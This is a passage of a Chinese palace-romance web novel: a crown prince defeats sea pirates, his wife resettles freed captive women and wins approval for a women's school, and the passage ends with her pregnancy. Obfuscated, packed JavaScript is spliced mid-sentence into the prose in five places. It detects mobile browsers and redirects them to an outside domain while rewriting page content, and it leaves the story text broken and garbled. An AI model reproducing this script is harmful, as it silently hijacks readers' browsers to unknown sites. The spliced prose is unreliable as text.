先前不知萧晏辞的安危,也对未知充满了恐惧,两个小丫鬟日日担惊受怕,哪有心情欣赏美景? 如今一切尘埃落定,她们的心情彻底放松下来,看什么都觉得美极了。 陆知苒的脸上也不禁绽放笑容。 她走出房间,便见一众士兵正在岛上操练,萧晏辞穿着一身劲装,在前头指挥。 士兵们的动作整齐划一,一声声呼喝穿透云霄,十分有威慑力,见了便叫人觉得赏心悦目。 萧晏辞余光注意到了她,向副将打了个示意,让他们继续操练,自己转身朝陆知苒而来。 “起了?我让人给你备早膳。” 昨夜天色黯,陆知苒没瞧清楚,今日一看,才发现萧晏辞比之前黑了不少,脸上的皮肤被晒得有些发红脱皮,面容看上去也更加消瘦,轮廓愈加凸显了。 陆知苒见了,心中不由生出几分心疼。 “你忙吧,不必管我。” 昨夜睡前她迷迷糊糊听他说,过两日还会有一场硬仗,他们要为接下来的剿匪做足准备。 这一场硬仗来得很快。 两日后的凌晨,晨雾未散,黑虎帮的三艘快船泊在赤礁岛外,桅杆上的黑虎旗在咸湿的海风中猎猎作响。 他们始终停留在射程外,并不靠近。 船首,黑虎帮二当家“独眼彪”眯起仅剩的右眼,盯着岛岸。 “血鲨帮的人呢?”他厉声喝问。 对岸礁石后转出一个小头目,正是血鲨帮的“刀疤刘”,他扯着嗓子喊道:“彪爷!货已备齐,就等您上岸验了!” 独眼彪冷笑:“罗老大呢?往日交易,他可从不躲懒。” 刀疤刘额头渗汗,罗老大,早就下去见阎罗王了。 若非他识时务,他也早就丢了命。 面上,他仍强撑道:“我们老大说了,今日贵客临门,正扫榻相迎……” 话音未落,独眼彪骤然变色:“放屁!罗天枭最恨文绉绉的酸话!这岛上果然有诈!撤!” 黑虎帮船只急速调头,桨橹翻飞,破开雾气。 刀疤刘没想到独眼彪这么警惕,自己没完成任务,顿时急了。 “他们察觉异常,跑了,这怎么办啊?小的明明按照官爷的要求说的,没有露出什么破绽啊。” 萧晏辞顾不上理会刀疤刘,直接下令,“放信号,追击!” 今日若让黑虎帮逃脱,东南沿海永无宁日! 朝廷战船早就蓄势待发,得令立马呈钳形向黑虎帮的三艘船包抄而去。 萧晏辞的旗舰一马当先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037455|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,船头劈开波浪,溅起雪白的浪花。 战船纷纷出动。 贺昀手臂受了伤,被留了下来。 他很遗憾懊恼,他本想亲手多杀几个海寇,多挣几分功劳,现在却只能干看着。 不过,太子殿下也给他安排了新的差事,那就是保护太子妃。 岛上留了部分兵力,以防海寇声东击西。 若那些海寇当真敢来,自己定要让他们全都有去无回。 陆知苒帮不上忙,她只能远眺着战船出发的方向。 蒋南笙站在她身侧,神色倒是一派轻松。 林铮也随同萧晏辞一道出战了,蒋南笙不见半分担忧。 “不必担心,那些海寇成不了气候。” 陆知苒点头,“嗯,此战殿下定能大获全胜。” 她的语气笃定自信,带着一股不容置疑。 原本所有的担心,在亲眼看到萧晏辞的安然无恙时,就全都化作了对他的满腹信心。 他本就不是平庸之辈。 他们这一等,就等了一天一夜。 赤礁岛的瞭望台上,瞭望兵一刻不敢停歇,时刻关注着周遭的动静。 东方泛起鱼肚白,新的一天又来了。 海上的迷雾慢慢散去,一艘艘战船出现在了视野中,瞭望兵立马精神一振,伸长了脖子,瞪大了眼睛努力分辨敌友。 但见船上挂着一面醒目的旗帜,上面赫然写着“靖海”二字。 一只海东青稳稳站在那旗帜的顶端,姿态傲然,不可一世。 瞭望兵心中大喜,却不敢大意,又细细地观察了片刻,待战船靠近,他能分辨出船上熟悉的人影,这才彻底松了口气,旋即立马奔下瞭望台,高声大喊。 “大捷,太子殿下大捷!” 报喜声很快传遍赤礁岛,陆知苒得知消息,脸上也绽出笑容,她顾不得仪态,抬步便往渡口奔去。 战船靠岸,泉州水师押着一串俘虏走下跳板,铁链哗啦作响,垂头丧气的海寇们踉跄跪地,再不复往日凶悍。 这些海寇万没想到,自己在海上称王称霸这么多年,有一日竟踢到了铁板。 第480章 堂堂正正地活着 谁能想到,大齐的太子竟敢亲自出兵,把他们堵在了家门口,他手底下那位老将更是百步穿杨,一箭将他们的老大射杀,瞬间叫他们士气溃散。 他们败得惨烈。 萧晏辞从战船上跳了下来,大步流星地朝陆知苒的方向而去,他迎着朝阳,眼底眉梢俱是笼着一抹飞扬与得意,带着邀功讨赏的意味。 “幸不辱命,太子妃可还满意?” 海风掠过他染血的袖口,却吹不散那眼底灼灼的光,活像只刚叼回猎物的狼,偏要凑到主人跟前摇尾巴。 陆知苒眼底亦闪过一抹骄傲与柔情。 “大齐得你这样的太子,是苍生之幸。” 她指尖拂过他甲胄上未干的血迹,“这江山**,终归要托付给能让海晏河清的人。阿辞,你做得很好。” 海风掠过她鬓边碎发,将这句轻语送入他耳中,比任何封赏都重。 那头,林铮也在向蒋南笙讨赏。 他不经意间露出微微痛苦之色,又故作坚强地道:“无事,一点小伤罢了。” 蒋南笙将他的把戏尽收眼底,偏偏却吃这一套。 “进屋来,我给你包扎处理。” 林铮跟在她的身后,老老实实地进了屋。 海东青在空中飞了几圈,本想过来讨食,被林铮一记眼刀子飞了过去,它立马识趣地飞走了。 此次大战,萧晏辞率军将黑虎帮的老巢“铁爪湾”攻破,共斩首八十六级,俘五十三人,黑虎帮大当家“翻江虎”被谷栖山一箭射死。 独眼彪本想跳海逃命,结果被浪拍在礁石上,也已被擒。 在岛上,还找到了二十多名妇孺,她们都是被卖或被抢到此处,在匪窝里,日子过得十分凄惨。 有好些女子生下了孩子,为了孩子,也只能麻木地活着。 本以为未来的日子将会永远这样,看不到头,没想到,朝廷水师来了,将她们救了出来。 得知自己获救,可以重新回到自己的家中,那些女人高声痛哭,悲喜交加。 她们有这样的经历,真的能重新开始吗? 即便回到家中,也势必被人指指点点,再抬不起头来。 有性情刚烈者,直接就抹脖子自尽了。 这些海寇都伏诛了,她们大仇得报,就没必要继续活在世上。 赤礁岛也同样有这样一批妇孺,萧晏辞不知如何处置她们,便暂时让人看管,好吃好喝地养着。 而今铁爪湾的妇孺又添二十多人,萧晏辞一并带到了赤礁岛。 这几日,陆知苒一直在思考着对她们的安置之事,今日,她心中也慢慢有了想法。 “殿下,把她们交给我吧。” 萧晏辞自是毫不犹豫地点头。 同为女子,此事由陆知苒出面再合适不过。 这些妇孺的警惕心重,萧晏辞也担心其中有海寇的奸细,是以一直派人看管着。 陆知苒踏入了那间屋子,原本低低的啜泣声戛然而止。 屋中的妇孺瑟缩成一团,俱是用惊恐畏惧的眼神看着她。 两个海岛上的妇孺,加起来四十多人,其中年纪最小的才十三岁,此刻俱是满面沧桑,眼神麻木。 她们身上裹着水师临时找来的粗布麻衣,却掩不住手脚和脖颈的伤痕。 陆知苒见到这番情形,眼底涌起一股难以言喻的愤怒与疼惜。 这一刻,她明白了萧晏辞决意亲自出兵的决心。 这群海寇,的确该死,不除掉这个毒瘤,大齐百姓将不得安宁。 陆知苒缓声开口,“大家别怕,太子殿下已经将血鲨帮和黑虎帮的海寇尽数绞灭,再无人能欺你们半分。很快,我们的战船就能回到泉州,你们自由了,马上就能见到自己的家人。” 这番话让那些惶恐的女人露出又哭又笑的表情。 “自由?我们哪里还有什么自由。我们的身子脏了,再也回不去了!” “我们是残花败柳,回去了也要被沉塘。” “我本就是被家人卖上船的,我根本没家可以回。” 这些话似一把刀子,狠狠刺进陆知苒的心。 翠芙和丹烟也都面露不忍。 “该被沉塘的,是那群畜生!我乃大齐朝太子妃,有我在,就绝不会再让你们受半点委屈!” 陆知苒神情坚毅,缓缓环视着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037456|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们。 “我会着官媒造册,愿归家者赠盘缠,欲嫁人者必得本人画押,绝不叫你们被家人随意买卖婚配。若无家可归,愿意跟我走的,锦绣坊正缺绣娘,愿学的都有月钱,养活自己没问题。若心灰意冷,不愿再入俗世,京中有一座清凉庵,带发修行亦可。从今往后,或桑麻针线作伴,或青灯古佛相依,再不必见血。” 陆知苒的话,让原本面如死灰的女人眼神终于有了波动。 有人不敢相信,讷讷出声,“我们,当真可以活下去吗?” “你们不仅可以活,还可以堂堂正正,干干净净地活。这些遭遇,并不是你们的错,无人可以苛责你们。太子殿下千辛万苦把你从魔窟救出来,便不会让你们再陷入那等不堪的境地。” 一个穿着蓝布衣的少妇抱紧了怀中的襁褓,眼神哀痛又矛盾。 “那,这些孩子呢?日后,他们又是否能堂堂正正地做人?” 其余生下子嗣的妇人,都不约而同地看向自己的孩子,眼神或痛心,或怜悯,或厌恶。 陆知苒默了默,“这些孩子皆入‘海宁籍’,过往不究。你们若不愿抚养,朝廷会将他们养大,引入正途。” 那些孩子,年纪小的懵懵懂懂,完全不知道发生了些什么。 年纪稍大的,眼神有了波澜。 他们知道,自己的命运,在这一刻开始,将会彻底发生逆转。 不知是谁,发出一声低低的啜泣声,其余人也跟着啜泣起来,那哭声低沉压抑,叫陆知苒的心也跟着酸胀起来。 翠芙和丹烟更是跟着红了眼眶。 跟这些人相比,她们的日子,简直过得太好了。 那蓝布衣的少妇抱着孩子,朝陆知苒砰砰磕头。 “民妇多谢太子妃大恩!民妇无以回报,愿追随您,入锦绣坊。至于这孩子……他本不该来这世上,但既然来了,又遇到了太子妃这样的大善人,便是他的福分,跟在民妇身边,反而带累了他。” 说到最后,她的声音已是哽咽,却还是将话说完。 “请太子妃收留,给他一口饭吃,一身衣穿,便足矣。” 第481章 大齐未来的明君 其余妇人,大多数都做出了同样的选择,只有两人选择将孩子留在身边。 陆知苒没有出言责怪她们狠心。 未经他人苦,莫劝他人善。 只有亲身经历过的人,才能体会她们对这些孩子的复杂心绪。 陆知苒履行诺言,全都应下了。 她没有在这里多待,转身离开,而身后,女人孩子们哭作一团。 萧晏辞忙碌了一整日,这些海寇在岛上盘踞多年,搜刮的财产不计其数,光是清点和运输就耗时耗力,他将此事交给谷栖山和陈沧协同负责。 谷栖山一箭射死黑虎帮大当家“翻江虎”,让黑虎帮瞬间成了一盘散沙,大大激发了己方的士气,他是头功。 陈沧和众水师拼杀卖力,亦是功不可没。 **行赏,双方可平分秋色。 经此一事,陈沧便成了他的人,他在闽南也有了属于自己的势力和人脉。 回到木屋,萧晏辞已是满身疲惫,但他还是察觉到了陆知苒心情的低落。 “怎么了?那些人的安置不顺利吗?” 陆知苒摇头,“很顺利。” 她将自己的安排一一道来,萧晏辞听罢,赞许地点头。 “你做得很好,没有比这更好的安排了。” 陆知苒眉眼间却笼着一股晦暗,“只是,她们跪着对我感恩戴德的时候,我觉得心里很酸涩。” 萧晏辞明白了她心情低落的原因。 世间悲苦之人,悲苦之事不计其数,以往他们只是身处高位,没有看到罢了。 便是如今,他们所看到的,也不过是冰山一角。 他握住了她的手,“来日……我定竭尽所能,做一个好皇帝。” 他不敢夸口,自己治下的大齐能杜绝此类事情发生。 因为身在越高的位置,耳目就越闭塞,人力所不及之处太多了。 他只能竭尽所能,尽量去做一个好皇帝。 至少,不能比父皇差。 陆知苒回握住他的手,看着他的眼神满是信赖。 “我相信殿下,定会是大齐的明君。” 萧晏辞对上她那充满信任的眼神,顿觉心头升起几分躁意。 二人分别许久,到现在,也没来得及好好亲热。 男人眼神中的炽热根本不加掩饰,陆知苒很快明白了过来,耳根一阵发红。 他们明明在谈正事,怎么他的心思一下就拐到那上头去了。 男人的脑袋开始在她的颈窝蹭着,炽热的呼吸喷洒着。 “知苒,行不行?” 陆知苒被他蹭得滚烫起来,但依旧心存理智。 “你忙了一整日,那两日攻打铁爪湾也定然没有闲暇休息,你眼里都布满了红血丝。” “我不累。”顿了顿,又道:“就是在这里,委屈你了。” 想到此处,萧晏辞深吸了一口气,硬生生地要掐灭心思。 那么久都忍过来了,不在乎这一日两日。 只不过,以往她不在身侧,自己忍起来自然容易,现在她就在身旁,实在是对他意志力的莫大考验。 萧晏辞正打算翻身而起,再去给自己洗个冷水澡,腰身就被一双柔荑圈住了。 陆知苒的面容在昏黄的灯光下显得愈发娇媚。 她轻咬唇瓣,低声道:“你,轻点。” 萧晏辞一愣,眼底瞬间迸射出灼亮的光芒。 这木床不结实,稍微动一动就咯吱作响,萧晏辞只能放慢了动作,在这深入浅出的来回中,两个人都很煎熬。 萧晏辞将她抱起,离了那糟糕的床,他才敢用力踏伐起来。 这一场情事,比以往任何一次都磨人,也更酣畅淋漓。 到最后,两人身上都汗涔涔的。 翠芙体贴地命人烧好了水,陆知苒顿觉羞得没脸见人了。 萧晏辞脸上带着餍足之后的轻松笑意。 “你这丫鬟不错,有眼力见,回头该赏。” 陆知苒嗔了他一眼,为着这事赏她,自己可真就别要脸了。 之后,众人又耗费了三天三夜,才终于将几个岛上的赃物清点好,一行人也终于踏上了回程。 而早在数日前,陈沧就派人回去报喜。 是以,待他们一行战船轰轰烈烈地入了内海,就早有船只在接应。 船只停靠在码头,更是簇拥者无数。 百姓们都得知太子剿杀了海寇,所有人都夹道相迎。 萧晏辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048162|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命人将众海寇铐上,串成一串,拉着游街。 百姓们连活都不干了,就围着海寇们吐口水,扔石头,烂菜叶子,骂声不绝。 若非有士兵们拦着,他们定然要直接冲上前厮打了。 没有谁比百姓们更痛恨这些海寇,这些人,无数次摧毁他们的家园,伤害他们的家人,害得他们家破人亡。 现在,他们终于得到了应有的报应。 老天爷开眼啊! 不,不是老天爷开眼,是大齐出了一个好太子! 有老者颤颤巍巍地叩首,“殿下荡平海寇,保我子孙太平,小老儿给您立长生牌位!” 乡绅率众颂扬:“太子殿下神武,海寇授首!闽南万民,永感大德!” 商贾们亦激动高呼:“太子爷斩尽海虱母,往后商船敢夜不落帆!” 海寇便是他们口中的海虱母,像寄生虫一样纠缠不休,令人厌烦。 整条街道,瞬间跪满了人,人人口中都是对太子殿下的颂赞。 萧晏辞看着这一切,心头涌起一股激荡,此前所做的所有努力,在这一刻都有了意义。 萧晏辞亲自上折,先是向德丰帝请罪,自己让他担心了。 然后将此战的种种尽数上禀,最后询问,该如何惩处这些作恶多端的海寇。 这封奏折以八百里加急,送往京城。 只花了三日,德丰帝就看到了萧晏辞的奏折。 他原本紧皱的眉头瞬间舒展,脸上的笑意掩都掩不住。 “好,太好了,此次太子当真立了大功!闽南海寇肆虐,太子亲率泉州水师,一举剿灭三个海寇窝点,杀敌无数。此役之后,东海群寇,再不敢犯!” 众臣闻言,顿时大喜,开始对萧晏辞争相夸赞。 “太子用兵如神,调度有方,此战,非但肃清海氛,更扬我大齐国威于四夷,实乃陛下圣德感召,太子英武天成!” “太子殿下此番靖海,正如当年陛下平定东夷之风采,真乃‘虎父无犬子’,我大齐江山,后继有人矣!” 德丰帝听着这番夸赞,露出与有荣焉的笑。 这一刻,他不仅是君,亦是父。 有子如此,复何忧哉。 第482章 斩杀贼寇 德丰帝大笔一挥,直接下令,将一众海寇就地斩首,以儆效尤。 不仅要斩,还要将他们的人头高悬于码头上,震慑人心。 萧晏辞收到德丰帝的嘉奖和旨意,立马贴出公告,三日后公开处刑,请众百姓前往观刑。 这个告示一出,百姓们俱是奔走相告。 三日后,刑台前被百姓围得水泄不通。 此次抓获的俘虏共计九十三人,全都押在刑台上。 原本**如麻的海寇,知道自己死到临头了也不由生出了惧意,一个个怕得浑身发抖,有人身下直接溢出尿骚味,还有人高声痛哭着求饶。 然而,他们只得到了更多的唾骂,没人同情他们。 萧晏辞亲自监刑,脸上一派肃然,眼神更是冷如寒冰。 监斩官高呼:“午时三刻已到——” 萧晏辞取出刑签,狠狠掷地,“斩!” 随着这话音落,刽子手举起大刀,一刀砍下。 九十三个海寇,人头同时落地,瞬间,血溅当场,将邢场的地面染红。 本是一片血腥的场景,众百姓却觉得大快人心,人人高呼起来。 死得好! 九十三颗人头,被挂在了码头上,但凡是胆敢生出歹念之人,只需要抬头看看这些人头,胆子就已经吓破了。 此事暂了,而那头,堤坝的修复也按部就班地进行着。 银子到位,人力也充足,一切自然进展顺利。 从岛上清剿的货物数量庞大,海寇们心狠手辣,除了极少数侥幸逃脱者,大多数船员都丧了命。 萧晏辞追根溯源,给那些货物都寻到了主家,一一登记造册,如数归还。 那些被劫了商船的商家本已做好了血本无归的准备,没想到最后竟迎来了柳暗花明,众商贾对萧晏辞更是感激涕零,经此总总,他这个太子在闽南更得民心。 殊不知,萧晏辞这么公平公正,很大一部分原因是,那批被劫的货,大头便是陆知苒的——他和萧宝珠也有份。 上次三人合伙,赚了一大笔,一回生二回熟,第二趟买卖自然安排上了。 萧晏辞做主,给各大被劫的商家归还货品,太仓商行自然就能名正言顺地拿回自己的东西,某种程度上来说,他这也算是假公济私。 后续诸事都料理妥当,萧晏辞便准备启程回京。 他离开京城的时日已经不短,是时候回去了。 堤坝修建事宜,他交给谷栖山继续督办。 这桩差事本就是谷栖山自己求来的,他自然要做到有头有尾,此事也能作为他的一项功绩。 此事交给他,萧晏辞也放心。 萧晏辞在忙着回京的交接事宜,陆知苒也没闲着。 她去见了张德安。 张德安这次在海上死里逃生,陆知苒先去见了他,安抚了一番,并给了他一笔奖励。 张德安连连推拒,“为太子妃办差本就是小的分内之事,此次小的还险些把那么多货丢了,实在罪该万死,实在受不起这番恩典。” 陆知苒的态度却不容置疑。 “海寇猖獗,在海上运输本就有风险,此事非你之过,你为我卖命,此次更是经历了九死一生,我若不拿出态度来,今后谁还愿意为我卖命?” 张德安闻言,顿时面露感激与感动。 陆知苒紧接着又道:“我还有一桩要事要交给你来办,这些东西也算是提前许给你的报酬。不知你愿不愿意帮我办下这桩事?” 张德安闻言二话不说,直接就道:“小的但凭太子妃差遣!” 陆知苒便将自己的计划,如此这般细细地道来。 张德安听得认真,连连点头。 “小的定将此事办妥。” 四月二十,萧晏辞和陆知苒乘上了回京的船,他们走的内河,沿途皆是怡然的风光,杏花刚谢了薄粉,新柳又抽了嫩青。 遇到热闹的码头,他们还要相携下去吃吃逛逛,倒是悠闲自得,殊不知德丰帝一直伸长了脖子等着他们。 早就收到了闽南的奏折,但迟迟不见人,难不成中途又出了什么变故? 五月初十,萧晏辞一行的船终于靠了岸。 夫妻二人并蒋南笙一道入宫,面见德丰帝。 德丰帝见了人,目光先是在他们的身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048163|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转了一圈,最后落在萧晏辞的身上。 “太子,此次差事你办得很漂亮!” 话锋一转,又严肃了神色。 “但你此次出海,实在过于莽撞,如今你无事倒也罢了,若你有个好歹……” 说到激动处,德丰帝禁不住咳嗽起来。 萧晏辞立马上前给他拍背顺气,又低头认错,“是儿臣鲁莽,儿臣知错,往后定三思后行,再不敢拿自己的性命玩笑。” 蒋南笙也上前,给德丰帝号脉。 “皇上最近肝火有些旺,需吃些清心败火的汤药,再多多休养,不可再过度操劳。” 德丰帝的身体底子已经那样了,她离开的这段时日,没有好转,但也没有垮,维持得不错。 这话她没说,德丰帝心中也有数。 萧晏辞看着德丰帝,愈发愧疚。 “是儿臣让父皇担心了。” 德丰帝和萧晏辞还有公务要谈,陆知苒和蒋南笙便先退下了。 临走前,德丰帝对二人亦嘉奖了一番,该有的奖励少不了。 夕颜殿那头早就派了人在外候着,萧宝珠得了消息,也第一时间进了宫,在夕颜殿等着,蒋南笙便也一道去了。 几人聚在一处叙话,自是不提。 萧晏辞在闽南一事中立下大功,不仅赢得了民心,也让他的太子之位越发稳固。 德丰帝病体未愈,近日越发精力不济,他便放手,将诸事都交给了萧晏辞料理。 而萧晏辞也表现得越发成熟稳重,每一桩大事小情,都料理得妥帖恰当,没让人挑出半点毛病来。 太子地位稳固,巴结讨好者不胜其数,又有人重提纳侧妃一事,德丰帝和萧晏辞都不表态,一时众臣有些摸不着头脑。 明着来不行,就有人开始使暗地里的手段。 萧晏辞时不时就能遇到**葬父,或是被恶霸欺凌走投无路的女子,求他主持公道。 萧晏辞反手就把那些女人送去了锦绣坊,既然走投无路了,那他就给她们指一条明路。 到了锦绣坊,只要愿吃苦,靠自己的双手,总能有口饭吃。 众人:…… 第483章 防民之愚,犹胜防寇 他们是想给太子塞女人,不是想给太子妃塞女人! 这股邪风在萧晏辞的一番操作下,也很快被掐灭了。 在萧晏辞这里吃了瘪,他们就将炮火对准了陆知苒。 早朝时,有言官出列参了陆知苒一本。 “今东宫椒房独宠,储嗣未诞,恐非宗庙之福。太子妃宜效前汉班婕妤之贤,广开选秀,以绵国祚。” 说这话之人是个老臣,平素便性情耿介,萧晏辞的眸底瞬间绷出几分冷意。 德丰帝看向萧晏辞,语气看似随意,却暗含威严。 “齐大人所言,确有几分道理。太子,你虽忙于公务,但子嗣之事,亦是十分要紧。” 萧晏辞站了出来,语气恭敬,“父皇,儿臣非敢专宠陆氏,实恐嫡室未诞元子而庶子先出,乱了宗法之源。儿臣与太子妃皆年轻体壮,子嗣不过迟早罢了,请父皇莫要担忧。” 德丰帝深深地看着萧晏辞,眼神中多了几分压迫。 “朕老了,只想快些抱上嫡孙,太子,莫要让朕久等了。” 陆知苒是个奇女子,此前数次为朝廷分忧,也解了德丰帝不少难题,德丰帝也不愿做那恶人,半点体面都不给她留。 他已经一让再让,这是最后一次。 他只给三个月的时间,若三个月内,陆知苒还不能怀上皇嗣,德丰帝也不会再作退让。 到时候,东宫定要进新人,谁都不能阻拦。 萧晏辞也感到了一股压力,沉声应下。 朝堂的这场风波,萧晏辞没向陆知苒透露,也叮嘱了蒋南笙和萧宝珠,别在她面前说不该说的。 这些外在的压力,自己来承担便是。 陆知苒最近也很忙,她在做一件事,蒋南笙和萧宝珠频繁出入东宫,与她私下商议,她们二人俨然是她的“同伙”。 陆知苒沉吟,“此事还得过明路。” 蒋南笙道:“需得找个合适的契机,不然恐会遭到朝臣的反对。” 萧宝珠不解,“这明明是好事,为何会遭到反对?” 陆知苒耐心解释,“凡事有利有弊,我们认为设立女学是好事,但也难保守旧派不会觉得此举牝鸡司晨,扰乱朝纲,甚至可能会牵连殿下。” 没错,她们最近私下商议的,正是办女学之事。 蒋南笙原本就一直有这个念头,只是她出面做此事名不正言不顺。 陆知苒是太子妃,有她牵头,此事再合适不过。 她们去了一趟闽南,这个念头就逐渐成型。 这段时日,她们把女学的选址选好,眼下正在修葺,过不了多久,就能真正落实。 只是,此事该如何过明路,十分有讲究。 万不能做了好事,却落不到好处。 这一步棋必须走好,因为这是一个至关重要的开端,京城的女学办好了,各地的女学才能陆续铺陈开来。 陆知苒思忖一番,道:“此事我入宫与母妃商议一番。” 或许,由柔贵妃向德丰帝提起,效果会更好。 其实若有皇后懿旨,此事会更名正言顺。 但皇后薨逝,德丰帝便不曾再立新后,也只能退而求其次,由柔贵妃来牵头。 这一日,陆知苒入宫给柔贵妃请安,便提及了此事。 柔贵妃看着陆知苒,眼底满是欣慰与自豪。 “知苒,你心怀天下女子,更是身体力行,一再为天下女子谋福,日后,大齐有你这等国母,是女子之福。” 陆知苒不敢当这份功绩。 “我如今所做也不过是力之所及罢了,只是担心我人微言轻,不能把此事做好,反倒连累了阿辞。” 柔贵妃语气坚定,“你已经做得很好,此事,我会帮你。” 柔贵妃本想派人去请德丰帝一道用膳,不曾想,外头立马就传来了一阵通传,德丰帝不请自来了。 “倒是巧了,看来,连老天爷都在帮我们。” 德丰帝最近将政务都交给了萧晏辞,自己则处于半隐退状态。 闲下来之后,德丰帝的气色看上去便好了许多。 整个后宫,他能来坐坐的,也就是柔贵妃这里。 到了才发现,陆知苒也在。 德丰帝对陆知苒这个太子妃总体十分满意,唯一不满便是她的肚子迟迟没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052652|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动静。 但德丰帝既然已经给出了时限,自然不会给陆知苒脸色看,待她的态度依旧很温和。 对她前往闽南营救萧晏辞之事,又是一番夸赞。 柔贵妃也顺势道:“臣妾方才正好与知苒说起闽南之事,这次知苒从闽南带回来了二十多个女子,都是苦命人……” “知苒心怀善念,从她们的身上想到了其他苦命的女子,便欲在京郊办一处女学,给世间贫苦女子多一条活路。只是此事到底干涉重大,她不敢轻下决断。” 德丰帝闻言,不禁看向陆知苒。 “自古皆言,女子无才便是德,兴办女学,前所未有。” 陆知苒面对德丰帝,态度恭敬,不卑不亢。 “回父皇,女学并非传授女子科举之道,而是教授简单的识文断字,女红刺绣,让其有自立之能力。” 德丰帝缓声道:“女学与锦绣坊不同,锦绣坊可以经营出收益,但女学却只能往里填银子。这是一笔只出不进的亏本买卖。” 陆知苒微微一笑,“若女子能识字算账,寡妇可抚育幼子不靠赈济,孤女能辨药行医不沦贱业,如此一算,大齐户部未来能省下不知多少赈灾银,如何会亏本?这笔买卖稳赚不赔。儿媳愚见,防民之愚,犹胜防寇也。” 德丰帝闻言,抚须大笑。 “好,好个防民之愚,犹胜防寇!兴办女学之事,朕允了。” 太子妃有此智谋,日后便也是太子的贤内助。 得了德丰帝的准话,陆知苒心头一喜,立马起身叩首。 “儿媳定竭尽所能,将女学办好!” 柔贵妃见此事落定,脸上也露出笑意。 宫人端着饭菜陆续上桌,德丰帝先动了筷子,柔贵妃和陆知苒方才动筷。 德丰帝心情好,今日胃口十分不错,柔贵妃亦然。 反倒是陆知苒,看着满桌的饭菜,却提不起半点食欲。 宫人端上一份茱萸辣酱蒸鲈鱼,揭盖的瞬间,陆知苒的胃里瞬间翻涌起来。 她竭力强忍,但那一下感觉来得太汹涌,她实在没忍住,掩唇干呕了一声。 第484章 要当爹了 柔贵妃和德丰帝都齐齐朝她看来。 陆知苒连忙起身告罪,“儿媳失仪,实在该死,请父皇责罚。” 德丰帝的表情顿了顿,目光幽幽一转,落在她的小腹上。 柔贵妃的眼神也瞬间亮了,眼底迸出惊喜,但又怕自己想错了,又急忙压下。 “是不是有哪里不舒服?快坐下。来人,传太医。” 陆知苒低着头,错过了他们脸上的表情变化,她一时也没反应过来。 “母妃,我没事,不用劳动太医。” 德丰帝开口,不容置疑。 “请太医来看看。” 德丰帝下了令,陆知苒自然不能再推脱。 柔贵妃又道:“皇上,这几道菜味道都有些太重了,臣妾命人再换些清淡的菜吧。” 德丰帝点头,于是,桌上那些味道重的菜全都撤了下去。 陆知苒看着这番大动作,后知后觉地反应过来了什么,心头不禁猛地一跳。 她暗暗算着时间,自己的小日子本该这几日来,但却没来。 但也只延迟了四五日,以往也有过先例,陆知苒便没有多想。 这一次,究竟只是小日子延迟,还是…… 陆知苒不敢深想,唯恐自己最后落得个空欢喜的结果。 同时心底又不免生出几分忐忑。 德丰帝和柔贵妃都在,她心头的压力不禁沉了几分。 之后,三人都没了吃饭的心思。 太医很快赶来了,得知是给太子妃诊脉,他心思一转,立马就有了猜测。 手一搭上脉,沉吟几息,太医又恭敬地道:“臣再验左脉。” 陆知苒依言伸手,她面上一切如常,但一颗心已然绷紧了。 太医面上露出笑意,重重叩首。 “乾坤合和,龙凤呈祥!太子妃此脉如珠走盘,滑利冲和,正是《圣济总录》所载‘麒麟之兆’!” 